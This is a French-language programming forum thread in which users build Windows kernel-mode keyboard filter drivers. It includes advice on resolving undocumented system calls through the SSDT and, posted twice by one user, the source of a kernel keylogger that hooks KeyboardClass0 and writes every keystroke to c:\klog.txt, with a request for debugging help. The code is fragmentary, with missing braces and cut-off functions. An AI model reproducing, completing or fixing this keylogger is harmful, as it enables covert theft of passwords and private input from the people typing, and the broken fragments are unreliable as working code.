BloP68
Messages postés31Date d'inscriptiondimanche 5 décembre 2004StatutMembreDernière intervention25 février 2009
-
10 avril 2007 à 14:16
jb212121
Messages postés76Date d'inscriptionmardi 6 avril 2004StatutMembreDernière intervention22 décembre 2012
-
20 avril 2008 à 08:44
Bonjour,
Je suis actuellement en train de coder un driver, mais je me heurte a un probleme de compilation (je compile mes driver avec la commande build du DDK windows XP).
Il faut obligatoirement que je définnisse mes variable en début de chaque blocs. Pour mon code ca ne pose pas de probleme mais maintenant je doit faire appel a des API windows mais quand je lance la compile il me sort comme quoi il y a des erreurs dans les headers des librairie...:S
Est ce que quelqu'un pourrait m'aider s'il vous plait.
racpp
Messages postés1909Date d'inscriptionvendredi 18 juin 2004StatutModérateurDernière intervention14 novembre 201417 10 avril 2007 à 14:27
Salut,
La programmation de drivers sous Windows se fait en Kernel-Mode. C'est un univers à part. De quelles APIs tu parles? Normalement les seules APIs accessibles directement en Kernel-Mode sont celles de ntoskernel.exe. Montre-nous les messages d'erreurs affichés par le compilateur.
BloP68
Messages postés31Date d'inscriptiondimanche 5 décembre 2004StatutMembreDernière intervention25 février 2009 10 avril 2007 à 14:38
Donc voila je souhaiterais utiliser dans mon driver des fonction windows permettant de gerer les Desktop (switch, ouvrir, fermer).
Merci pour ton aide.
Lorsque je lance la compilation je recois ces erreur(mais elle ne sont pas fonder car j'ai deja eu ce probleme avant d'inclure l'header "windows.h" dans mon code puis j'ai defini les variables en debut de bloc et plus de probleme :S) :
BUILD: Object root set to: ==> objchk
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: /i switch ignored
BUILD: Using 2 child processes
BUILD: Compile and Link for i386
BUILD: Loading C:\WINDDK\2600\build.dat...
BUILD: Computing Include file dependencies:
BUILD: Examining c:\winddk\rootkits\projet\test1 directory for files to compile.
racpp
Messages postés1909Date d'inscriptionvendredi 18 juin 2004StatutModérateurDernière intervention14 novembre 201417 10 avril 2007 à 15:10
Les fonctions de winuser.h ne sont pas faites pour être utilisées dans un driver. Elles sont réservées au User-Mode. Elles ne sont là que pour servir de prototypes en cas de besoin. On peut utiliser les APIs natives de ntdll.dll. Toutes les APIs User-Mode passent par celles de cette dll. Si tu peux montrer ton code ce sera plus facile.
Je repasserai ce soir pour voir.
BloP68
Messages postés31Date d'inscriptiondimanche 5 décembre 2004StatutMembreDernière intervention25 février 2009 10 avril 2007 à 17:53
Donc euh voila ca c'est une partie du code, le programme est un hook du clavier(il test si une touche est appeler puis apres il appelle ma fonction):(je sais qu'il y a moyen de faire des hook autrement que par un driver :D)
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath )
{
...
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead ;
...
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
...
//si c'est la bonne touche on appelle la fonction
SSwitch();
//sinon on passe
...
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
return pIrp->IoStatus.Status;
}
if(Desk_S == 0) //si on est sur le bureau par defaut
{
sprintf(desk_s, "Bureau");
hdesk_s = OpenDesktop(desk_s, DF_ALLOWOTHERACCOUNTHOOK, FALSE, GENERIC_ALL);
SwitchDesktop(hdesk_s);
CloseDesktop(hdesk_s);
Desk_S == 1;
}
else if(Desk_S== 1) //si on est sur Bureau
{
sprintf(desk_d, "Default");
hdesk_d= OpenDesktop(desk_d, DF_ALLOWOTHERACCOUNTHOOK, FALSE, GENERIC_ALL);
SwitchDesktop(hdesk_d);
CloseDesktop(hdesk_d);
}
else
DbgPrint("Erreur dans le switch de desktop...Veuillez redemarrer le driver....");
}
Voila j'espere que ce morceau de code va pouvoir t'aider...
Je te remercie d'avance.
Vous n’avez pas trouvé la réponse que vous recherchez ?
BloP68
Messages postés31Date d'inscriptiondimanche 5 décembre 2004StatutMembreDernière intervention25 février 2009 11 avril 2007 à 11:15
Désoler j'avais pas compris.
Alors voila je te dépose le code complet que tu puisse le compiler.
//MAKEFILE
#
# DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source
# file to this component. This file merely indirects to the real make file
# that is shared by all the driver components of the Windows NT DDK
#
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
PDEVICE_EXTENSION pKeyboardDeviceExtension;
int i;
PKEYBOARD_INPUT_DATA keys;
int numKeys;
racpp
Messages postés1909Date d'inscriptionvendredi 18 juin 2004StatutModérateurDernière intervention14 novembre 201417 11 avril 2007 à 20:24
Salut,
Je viens de tester ton code chez moi. J'ai exactement les mêmes erreurs. Il parait que winuser.h n'est pas fait pour être inclus dans un projet en kernel-mode. Ou bien il faudra une sorte de #define pour pouvoir l'inclure. Toutes les erreurs signalées par le compilateur se trouvent dans winuser.h alors qu'il est parfaitement correct.
Personnellement, pour travailler en kernel-mode je ne fais appel qu'aux fonctions et aux services fournis par le système. Je remplacerai les APIs utilisées dans ta fonction S_Swith() par les services correspondant du système:
NtUserGetProcessWindowStation()
NtUserOpenDesktop()
NtUserSwitchDesktop()
NtUserCloseDesktop()
Je viens de voir que ce sont des services implémentés dans w32k.sys et accessibles depuis la table des services système (SSDT) et donc accessibles si on connait leurs IDs. Malheureusement, ils ne sont pas documentés. Leurs IDs peuvent changer selon la version Windows et même selon le service pack. En cherchant un peu sur le net, et avec quelques tests, tu finiras par résoudre ce problème. Je ne peux pas tester pour toi car il y'a risque d'avoir de nombreux plantages et redémarrage du PC.
Il faudra donc virer winuser.h de tes incldes. HWINSTA et HDESK sont des simples HANDLES qui sont en réalités des PVOIDs.
J'essaierai plutard de te trouver les prototypes des services listés plus haut.
BloP68
Messages postés31Date d'inscriptiondimanche 5 décembre 2004StatutMembreDernière intervention25 février 2009 11 avril 2007 à 20:47
Oakay ca marche je vais regarder..ca...Je te remerci de ton aide. J'avais aussi essayer de chercher des fcontion similaire en mode kernel mais j'avais pas trouver mais maintenant que tu les as trouver un tour de google et je devrais peux être trouver...:D
BloP68
Messages postés31Date d'inscriptiondimanche 5 décembre 2004StatutMembreDernière intervention25 février 2009 11 avril 2007 à 21:51
Tien je vien de trouver la liste des syscall des fonctions.
http://inside.iatp.org.ua/Calllist.html Est ce que tu pourrais juste m'expliquer comment les utiliser. Car les drivers windows c'est deja a la limite de mes connaissance mais alors là je commence à être completement perdu j'ai très envie d'apprendre mais dès qu'on pousse un peux dans des sujet complex on trouve plus beaucoup de documentation sur internet alors si tu aurais des sources des liens. Et si deja pour commencer tu pouvais me dire comment utiliser les syscall pour que je puisse tenter de finir la 1ere version de mon prog que je puisse ensuite continuer a apprendre tout ca. Je te remercie d'avance.
Pour trouver l'adresse d'un service système à partir de son ID, on utilise le symbole KeServiceDescriptorTable exporté par ntoskernel.exe. Ce symbole correspond à une structure pointant vers la SSDT. Un exemple:
#include "ntddk.h"
//..
typedef struct ServiceDescriptorEntry {
ULONG *ServiceTableBase;
ULONG *ServiceCounterTableBase;
ULONG NumberOfServices;
UCHAR *ParamTableBase;
} ServiceDescriptorTableEntry;
Dans le DriverEntry par exemple on fait:
NtUserOpenDesktop=(OPENDESKTOP) KeServiceDescriptorTable.ServiceTableBase[SERVICE_ID];
Puisque je n'ai jamais utilisé les services de win32k.sys, je ne sais pas comment appliquer cette méthode pour récupérer leurs adresses. Si je trouve comment faire, je te montrerai.
Si tu réussis à trouver la solution, ça m'intéresse aussi.
Aumenov
Messages postés9Date d'inscriptiondimanche 23 décembre 2007StatutMembreDernière intervention13 janvier 20084 8 janv. 2008 à 22:28
Salut,
Je suis en train de dévélopper un keylogger. Je me suis largement inspirer de ce code. Je n'ai pas de problème de compilation mais j'ai un bug que j'arrive pas à résoudre...
Mon bug est le suivant: la fonction dispatchRead est appellée DEUX fois pour une SEULE frappe clavier. Du coup, la variable numPendingIrps est incrémentée d'un cran de trop à chaque frappe clavier. Ainsi, quand on souhaite arreter le driver donc quand on appelle la fonction Unload cette variable a la valeur "1" (car DispatchRead est appellée un fois de trop), donc la boucle while de la fonction Unload est infinie puisque la condition est toujours fausse (numPendingIrps != 0, car incrémentée d'une fois de trop à cause de l'appel de trop de DispatchRead). Pour pouvoir sortir de cette boucle, il faut appyer sur une touche quelconque pour que la fonction OnReadCompletion soit appellée et donc numPendingIrps soit décrémentée et c'est ainsi qu'on sort de la boucle et la fonction Unload se termine.
Compiler mon code avec DKK. Pour lancer le .sys vous pouvez utiliser kmdManager et pour afficher les traces DebugView.
Un cas simple vous permettant de voir que DispatchRead est appellée deux fois au lieu d'une seule, lancez le driver et debugView et appuyez sur une SEULE touche (une lettre) vous aller voir que cette fonction est appellée deux fois!
Je vous joins mon code. J'ai ajouté du code pour pouvoir écrire les frappes claviers dans le fichier c:/klog.txt.
Mais attention pour tester ce code n'utiliser que les touches correspondant aux lettres de l'alphabet: pour l'instant mon keylogger gère que la lettre de l'alphabet pour le reste des touches il les traduit par "-".
Je compte beaucoup sur ceux qui ont de l'expérience dans ce domaine car ça fait un moment que j'essaye de corriger ce bug maintenant mais en vain...
Mon code:
#################keylogger.c################
include <ntddk.h>
#include <string.h>
#include "keysLoggerComments.h"
int numPendingIrps = 0;
//The Unload routine performs any operations that are necessary before the system unloads the driver
VOID Unload( IN PDRIVER_OBJECT pDriverObject){
KTIMER kTimer;
LARGE_INTEGER timeout;
// Get the pointer to the device extension.
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
DbgPrint(".....Driver Unload Called.....\n");
// Detach from the device underneath that we're hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint("Keyboard hook detached from device\n");
// Create a timer.
timeout.QuadPart = 1000000;// .1 s
KeInitializeTimer(&kTimer);
while(numPendingIrps > 0){
// Set the timer.
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
}
// Set our key logger worker thread to terminate.
pKeyboardDeviceExtension->bThreadTerminate = 1;
// Wake up the thread if its blocked & WaitForXXX after this call.
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);
// Wait until the worker thread terminates.
DbgPrint("Waiting for key logger thread to terminate\n");
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,Executive,KernelMode,FALSE,NULL);
DbgPrint("Key logger thread terminated\n");
// Close the log file.
ZwClose(pKeyboardDeviceExtension->hLogFile);
// Delete the device.
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint("Tagged IRPs dead...Terminating\n");
//The end
DbgPrint("..... Driver Unload finished.....\n");
return;
}
char keys[1];// this array will contain the key code.
PLIST_ENTRY pListEntry;
KEY_DATA * kData; // a data structure used to hold scancodes in the linked list
//The code waits for the semaphore using KeWaitForSingleObject.
//If the semaphore is incremented, the processing loop knows to continue
while(TRUE){
// Wait for data to become available in the queue.
KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
//The topmost item is removed safely from the linked list.
pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,&pKeyboardDeviceExtension->lockQueue);
//The CONTAINING_RECORD macro returns the base address of the structure containing the field ListEntry.
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
//DbgPrint("the kData->KeyData is : %x\n",kData->KeyData);
// Convert the scan code to a key code.
ConvertScanCodeToKeyCode(kData->KeyData,keys);
if(TRUE/*keys != 0*/){
// Write the data out to a file.
if(pKeyboardDeviceExtension->hLogFile != NULL){
IO_STATUS_BLOCK io_status;
NTSTATUS status = ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status != STATUS_SUCCESS){
;
//DbgPrint("Writing scan code to file failed!\n");
}
else ;
//DbgPrint("Scan code '%s' successfully written to the log file.\n",keys);
}// end if
}// end if
}// end while
//DbgPrint(".....ThreadKeyLogger finished.....\n");
return;
}// end ThreadLogKeyboard
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context){
KEY_DATA * kData ;
int i = 0;
// Get the device extension - we'll need to use it later.
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
DbgPrint(".....OnReadCompletion called.....\n");
// If the request has completed, extract the value of the key.
if(pIrp->IoStatus.Status == STATUS_SUCCESS){
kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
// Fill in kData structure with info from IRP.
kData->KeyData = keys[i].MakeCode;
//Add the scan code to the linked list queue so our worker thread can write it out to a file.
//DbgPrint("Adding IRP to work queue");
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
// Increment the semaphore by 1 - no WaitForXXX after this call.
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,
0,
1,
FALSE);
}// end for
}// end if
// Mark the IRP pending if necessary.
if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
numPendingIrps--;
DbgPrint("OnReadCompletion::numPendingIrps : %d", numPendingIrps);
DbgPrint(".....OnReadCompletion finished.....\n");
return pIrp->IoStatus.Status;
}// end OnReadCompletion
//This routine is set up to be used specifically for keyboard read requests.
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){
//This function creates a WORKER THREAD that can write keystrokes to a log file.
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject){
HANDLE hThread;
NTSTATUS status;
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
//DbgPrint(".....InitThreadKeyLogger called.....\n");
// Set the worker thread to running state in device extension.
pKeyboardDeviceExtension->bThreadTerminate = 0;
// Create the worker thread.
status = PsCreateSystemThread(&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger, //Is the entry point for the driver thread.
pKeyboardDeviceExtension);//Supplies a single argument passed to the thread when it begins execution.
if(!NT_SUCCESS(status)) return status;
.
ObReferenceObjectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pKeyboardDeviceExtension->pThreadObj,
NULL);
//The HookKeyboard function
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject){
// the filter device object
PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
NTSTATUS status;
DbgPrint(".....HookKeyBoard called.....\n");
//This function returns a pointer to a DeviceObject that contains a pointer to the device extension.
status = IoCreateDevice(pDriverObject, //driver to which the device is associated.
sizeof(DEVICE_EXTENSION),
NULL,// no name //WDM filter and function drivers do not name their device objects.
FILE_DEVICE_KEYBOARD, //the type of the device.
0, //no secific characteristiccs.
TRUE, //true if driver is reserved for system use.
&pKeyboardDeviceObject); //the device to be created.
// Make sure the device was created.
if(!NT_SUCCESS(status)) return status;
// Get the pointer to the device extension.
pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
RtlInitAnsiString(&ntNameString, ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,
&ntNameString,
TRUE );
status = IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
// Make sure the device was successefully attached to the driver.
if(!NT_SUCCESS(status)) return status;
//The driverEntry function
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ){
NTSTATUS Status = {0};
PDEVICE_EXTENSION pKeyboardDeviceExtension;
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
int i = 0;
DbgPrint(".....DriverEntry called.....\n");
for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
pDriverObject->MajorFunction[i] = IODispatch;
// Explicitly fill in the IRP handlers we want to hook.
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
// Hook the keyboard now.
HookKeyboard(pDriverObject);
InitThreadKeyLogger(pDriverObject);
//pDriverObject->DeviceObject->DeviceExtension has been already initialized in HookKeyboard function.
pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
//initializing the shared buffer which is a linked list.
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
//Initialize the lock for the linked list queue.
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
//Initialize the work queue semaphore.
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);
// Create the log file.
RtlInitAnsiString(&ntNameString, ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);
InitializeObjectAttributes(&obj_attrib, &uFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);
if (Status != STATUS_SUCCESS)
{
//DbgPrint("Failed to create log file\n");
//DbgPrint("File Status = %x\n",file_status);
}
else
{
//DbgPrint("Successfully created log file\n");
//DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
}
// Set the DriverUnload procedure.
pDriverObject->DriverUnload = Unload;
PDEVICE_OBJECT pKeyboardDevice;
PETHREAD pThreadObj; //a thread that writes stores key strikes into a file.
int bThreadTerminate; //if equals "true", it indicates that the worker thread is terminated.
HANDLE hLogFile; //references the logfile: where key strikes are stored.
//KEY_STATE kState; //
KSEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead; //Linked list where key strike codes are stored before converting and writing them into the log file.
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;// Pour l'instant je ne l'utilise pas!!!
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
Aumenov
Messages postés9Date d'inscriptiondimanche 23 décembre 2007StatutMembreDernière intervention13 janvier 20084 8 janv. 2008 à 22:45
Salut,
Je suis en train de dévélopper un keylogger. Je me suis largement inspirer de ce code. Je n'ai pas de problème de compilation mais j'ai un bug que j'arrive pas à résoudre...
Mon bug est le suivant: la fonction dispatchRead est appellée DEUX fois pour une SEULE frappe clavier. Du coup, la variable numPendingIrps est incrémentée d'un cran de trop à chaque frappe clavier. Ainsi, quand on souhaite arreter le driver donc quand on appelle la fonction Unload cette variable a la valeur "1" (car DispatchRead est appellée un fois de trop), donc la boucle while de la fonction Unload est infinie puisque la condition est toujours fausse (numPendingIrps != 0, car incrémentée d'une fois de trop à cause de l'appel de trop de DispatchRead). Pour pouvoir sortir de cette boucle, il faut appyer sur une touche quelconque pour que la fonction OnReadCompletion soit appellée et donc numPendingIrps soit décrémentée et c'est ainsi qu'on sort de la boucle et la fonction Unload se termine.
Compiler mon code avec DKK. Pour lancer le .sys vous pouvez utiliser kmdManager et pour afficher les traces DebugView.
Un cas simple vous permettant de voir que DispatchRead est appellée deux fois au lieu d'une seule, lancez le driver et debugView et appuyez sur une SEULE touche (une lettre) vous aller voir que cette fonction est appellée deux fois!
Je vous joins mon code. J'ai ajouté du code pour pouvoir écrire les frappes claviers dans le fichier c:/klog.txt.
Mais attention pour tester ce code n'utiliser que les touches correspondant aux lettres de l'alphabet: pour l'instant mon keylogger gère que la lettre de l'alphabet pour le reste des touches il les traduit par "-".
Je compte beaucoup sur ceux qui ont de l'expérience dans ce domaine car ça fait un moment que j'essaye de corriger ce bug maintenant mais en vain...
Mon code:
#################keylogger.c################
include <ntddk.h>
#include <string.h>
#include "keysLoggerComments.h"
int numPendingIrps = 0;
//The Unload routine performs any operations that are necessary before the system unloads the driver
VOID Unload( IN PDRIVER_OBJECT pDriverObject){
KTIMER kTimer;
LARGE_INTEGER timeout;
// Get the pointer to the device extension.
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
DbgPrint(".....Driver Unload Called.....\n");
// Detach from the device underneath that we're hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint("Keyboard hook detached from device\n");
// Create a timer.
timeout.QuadPart = 1000000;// .1 s
KeInitializeTimer(&kTimer);
while(numPendingIrps > 0){
// Set the timer.
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
}
// Set our key logger worker thread to terminate.
pKeyboardDeviceExtension->bThreadTerminate = 1;
// Wake up the thread if its blocked & WaitForXXX after this call.
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);
// Wait until the worker thread terminates.
DbgPrint("Waiting for key logger thread to terminate\n");
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,Executive,KernelMode,FALSE,NULL);
DbgPrint("Key logger thread terminated\n");
// Close the log file.
ZwClose(pKeyboardDeviceExtension->hLogFile);
// Delete the device.
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint("Tagged IRPs dead...Terminating\n");
//The end
DbgPrint("..... Driver Unload finished.....\n");
return;
}
char keys[1];// this array will contain the key code.
PLIST_ENTRY pListEntry;
KEY_DATA * kData; // a data structure used to hold scancodes in the linked list
//The code waits for the semaphore using KeWaitForSingleObject.
//If the semaphore is incremented, the processing loop knows to continue
while(TRUE){
// Wait for data to become available in the queue.
KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
//The topmost item is removed safely from the linked list.
pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,&pKeyboardDeviceExtension->lockQueue);
//The CONTAINING_RECORD macro returns the base address of the structure containing the field ListEntry.
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
//DbgPrint("the kData->KeyData is : %x\n",kData->KeyData);
// Convert the scan code to a key code.
ConvertScanCodeToKeyCode(kData->KeyData,keys);
if(TRUE/*keys != 0*/){
// Write the data out to a file.
if(pKeyboardDeviceExtension->hLogFile != NULL){
IO_STATUS_BLOCK io_status;
NTSTATUS status = ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status != STATUS_SUCCESS){
;
//DbgPrint("Writing scan code to file failed!\n");
}
else ;
//DbgPrint("Scan code '%s' successfully written to the log file.\n",keys);
}// end if
}// end if
}// end while
//DbgPrint(".....ThreadKeyLogger finished.....\n");
return;
}// end ThreadLogKeyboard
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context){
KEY_DATA * kData ;
int i = 0;
// Get the device extension - we'll need to use it later.
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
DbgPrint(".....OnReadCompletion called.....\n");
// If the request has completed, extract the value of the key.
if(pIrp->IoStatus.Status == STATUS_SUCCESS){
kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
// Fill in kData structure with info from IRP.
kData->KeyData = keys[i].MakeCode;
//Add the scan code to the linked list queue so our worker thread can write it out to a file.
//DbgPrint("Adding IRP to work queue");
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
// Increment the semaphore by 1 - no WaitForXXX after this call.
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,
0,
1,
FALSE);
}// end for
}// end if
// Mark the IRP pending if necessary.
if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
numPendingIrps--;
DbgPrint("OnReadCompletion::numPendingIrps : %d", numPendingIrps);
DbgPrint(".....OnReadCompletion finished.....\n");
return pIrp->IoStatus.Status;
}// end OnReadCompletion
//This routine is set up to be used specifically for keyboard read requests.
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){
//This function creates a WORKER THREAD that can write keystrokes to a log file.
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject){
HANDLE hThread;
NTSTATUS status;
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
//DbgPrint(".....InitThreadKeyLogger called.....\n");
// Set the worker thread to running state in device extension.
pKeyboardDeviceExtension->bThreadTerminate = 0;
// Create the worker thread.
status = PsCreateSystemThread(&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger, //Is the entry point for the driver thread.
pKeyboardDeviceExtension);//Supplies a single argument passed to the thread when it begins execution.
if(!NT_SUCCESS(status)) return status;
.
ObReferenceObjectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pKeyboardDeviceExtension->pThreadObj,
NULL);
//The HookKeyboard function
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject){
// the filter device object
PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
NTSTATUS status;
DbgPrint(".....HookKeyBoard called.....\n");
//This function returns a pointer to a DeviceObject that contains a pointer to the device extension.
status = IoCreateDevice(pDriverObject, //driver to which the device is associated.
sizeof(DEVICE_EXTENSION),
NULL,// no name //WDM filter and function drivers do not name their device objects.
FILE_DEVICE_KEYBOARD, //the type of the device.
0, //no secific characteristiccs.
TRUE, //true if driver is reserved for system use.
&pKeyboardDeviceObject); //the device to be created.
// Make sure the device was created.
if(!NT_SUCCESS(status)) return status;
// Get the pointer to the device extension.
pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
RtlInitAnsiString(&ntNameString, ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,
&ntNameString,
TRUE );
status = IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
// Make sure the device was successefully attached to the driver.
if(!NT_SUCCESS(status)) return status;
//The driverEntry function
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ){
NTSTATUS Status = {0};
PDEVICE_EXTENSION pKeyboardDeviceExtension;
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
int i = 0;
DbgPrint(".....DriverEntry called.....\n");
for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
pDriverObject->MajorFunction[i] = IODispatch;
// Explicitly fill in the IRP handlers we want to hook.
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
// Hook the keyboard now.
HookKeyboard(pDriverObject);
InitThreadKeyLogger(pDriverObject);
//pDriverObject->DeviceObject->DeviceExtension has been already initialized in HookKeyboard function.
pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
//initializing the shared buffer which is a linked list.
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
//Initialize the lock for the linked list queue.
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
//Initialize the work queue semaphore.
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);
// Create the log file.
RtlInitAnsiString(&ntNameString, ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);
InitializeObjectAttributes(&obj_attrib, &uFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);
if (Status != STATUS_SUCCESS)
{
//DbgPrint("Failed to create log file\n");
//DbgPrint("File Status = %x\n",file_status);
}
else
{
//DbgPrint("Successfully created log file\n");
//DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
}
// Set the DriverUnload procedure.
pDriverObject->DriverUnload = Unload;
PDEVICE_OBJECT pKeyboardDevice;
PETHREAD pThreadObj; //a thread that writes stores key strikes into a file.
int bThreadTerminate; //if equals "true", it indicates that the worker thread is terminated.
HANDLE hLogFile; //references the logfile: where key strikes are stored.
//KEY_STATE kState; //
KSEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead; //Linked list where key strike codes are stored before converting and writing them into the log file.
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
